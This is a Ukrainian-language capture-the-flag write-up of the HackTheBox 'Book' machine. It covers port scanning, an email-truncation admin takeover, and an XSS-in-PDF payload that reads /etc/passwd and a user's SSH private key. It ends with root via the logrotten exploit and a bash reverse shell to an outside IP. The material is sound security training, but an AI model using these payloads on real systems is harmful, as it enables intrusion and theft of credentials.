14. HackTheBox. Level Medium: Проходження Book. XSS to LFI через PDF та LPE через Logrotate

17 грудня 2024 1 хвилина Автор: Lady Liberty

Детально розглядаємо проходження завдання HackTheBox Book. Основна увага приділена вразливостям XSS та їх ескалації до LFI через PDF, а також підвищенню привілеїв (LPE) за допомогою Logrotate. Матеріал містить покроковий аналіз процесу атаки: від виявлення крос-сайтного скриптингу (XSS) до подальшого використання вразливостей для локального включення файлів (LFI). Окрім цього, описано методику ескалації привілеїв через неправильну конфігурацію Logrotate. Дана стаття буде корисною для кібербезпекових фахівців, пентестерів і всіх, хто цікавиться вразливостями безпеки та навчальними завданнями HackTheBox. Вона допоможе зрозуміти складні процеси експлуатації з реальними прикладами та кроками.

Покрокова інструкція

У цій статті розглядається експлуатація вразливостей XSS до LFI через PDF, підвищення привілеїв за допомогою logrotten та аналіз проблем із реєстрацією, що виникають через усічення полів.

Підключення до лабораторії виконується за допомогою VPN. З міркувань безпеки не рекомендується використовувати робочий комп’ютер або пристрій із важливими даними, оскільки підключення здійснюється до приватної мережі, де присутні досвідчені фахівці у сфері інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.176, яку додаємо в /etc/hosts.

10.10.10.176	book.htb

Спочатку виконується сканування відкритих портів. Щоб прискорити процес, замість тривалого сканування nmap, використовується masscan. Сканування охоплює всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176     --rate=500

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A book.htb -p22,80

На хості працюють служба SSH та веб-сервер. Почнемо з Інтернету. Нас зустрічає сторінка авторизації та реєстрації.

Зареєструємось і увійдемо.

Сайт є бібліотекою з можливістю додавання книги та контакту з адміністратором.

У цих полях не вдалося знайти жодного вектора атаки, проте відома електронна пошта адміністратора. Для подальшого дослідження виконується перебір директорій за допомогою gobuster. У параметрах інструмента задається кількість потоків (128, -t), цільовий URL (-u), словник для перебору (-w) та необхідні розширення файлів (-x).

gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

У результаті перебору вдається виявити низку цікавих сторінок, зокрема й адміністративну панель. Після цього проводиться аналіз форми авторизації, і вже у вихідному коді сторінки виявлено потенційно цікаву інформацію.

Ім’я користувача обмежене 10 символами, а адреса електронної пошти — 20 символами. Проте перевірка відбувається лише на випадок порожніх полів, і довжина даних не контролюється.

Entry Point

Є ймовірність, що введені дані будуть урізані до встановленої довжини на сервері. Для перевірки цього реєструється користувач із адресою електронної пошти, яка перевищує 20 символів.

Авторизуємося з урахуванням урізаної адреси.

Як і передбачалося, припущення виявилося вірним. Реєстрація користувача з поштою [email protected] 123″ проходить успішно. Далі виконується вхід у систему, що дозволяє авторизуватися під звичайним адміністратором.

Ця атака стала можливою через те, що під час перевірки значення [email protected] 123″ система не знаходить його в базі даних, після чого введене значення усікається та перезаписує вже існуючий запис. Після успішного входу проводиться огляд сайту, проте окрім колекції нічого цікавого виявлено не було.

Завантаживши та відкривши PDF документи, виявимо там список зареєстрованих користувачів та колекції.

USER

Досвід підказує, що коли інформація завантажується на сервер і відображається у PDF, варто перевірити можливість атаки XSS to LFI. Це можна перевірити шляхом завантаження наступного коду на сервер:

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

Зайдемо від імені звичайного користувача та додамо до колекції файл, вказавши у всіх полях це навантаження.

Тепер завантажуємо файл з колекцією у адміністратора, і виявимо там вміст файлу /etc/passwd.

Прочитаємо закритий SSH ключ користувача reader, вказавши в навантаженні файл «file:///home/reader/.ssh/id_rsa».

При копіюванні ключа з PDF-файлу він виявляється неповним. Для вирішення цієї проблеми файл відкривається у браузері, після чого текст ключа копіюється вручну та вставляється у звичайний текстовий файл. Обов’язково потрібно виділити перший і останній рядок ключа.

Призначимо права на цей файл.

chmod 0600 reader.key

І підключаємось по SSH.

ROOT

У домашній директорії користувача є папка backups.

Ці дії не принесли результату. Після запуску скриптів базового перерахування системи також не вдається знайти нічого корисного. У такій ситуації слід перевірити завдання, які виконуються на системі, за допомогою pspy64. Під час аналізу виявляється, що logrotate запускається з правами користувача root.

Утиліта Logrotate використовується для автоматизації обробки журналів, дозволяючи виконувати різні дії залежно від заданих умов і правил. Наприклад, журнали можна стискати в архів, видаляти, або надсилати на інший сервер після досягнення певного розміру, віку чи інших параметрів.

Пошук у Google одразу ж дає корисну інформацію про потенційні вразливості та можливості експлуатації Logrotate, особливо коли він виконується з правами root.

Завантажуємо репозиторій та компілюємо програму.

gcc -o logrotten logrotten.c

Тепер зробимо файл із реверс шеллом.

echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile

Запускається logrotten, а в іншому вікні терміналу проводиться запис даних у цільовий файл логів. Це дозволяє ініціювати обробку логів утилітою Logrotate, що виконується з привілеями root, відкриваючи можливість для подальшої експлуатації вразливості.

./logrotten -p ./payloadfile /home/reader/backups/access.log

Програма успішно спрацювала.

Через кілька секунд з’являється з’єднання, яке тримається достатньо довго для подальших дій. Цього часу цілком вистачає, щоб отримати доступ до закритого SSH-ключа та переглянути його вміст.

Використовуючи отриманий закритий SSH-ключ, виконується підключення до цільової системи. Після успішної аутентифікації залишається лише знайти та забрати прапор.

Висновок

У цій статті було продемонстровано покрокову експлуатацію вразливостей, починаючи з XSS до LFI через PDF, до отримання доступу до системи шляхом підвищення привілеїв за допомогою Logrotate. Ключовими етапами стали: виявлення обмежень реєстрації, успішне використання вразливостей для читання закритого SSH-ключа, а також аналіз автоматизованих завдань системи за допомогою pspy64. Завдяки цьому вдалося отримати доступ до системи та забрати фінальний прапор.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.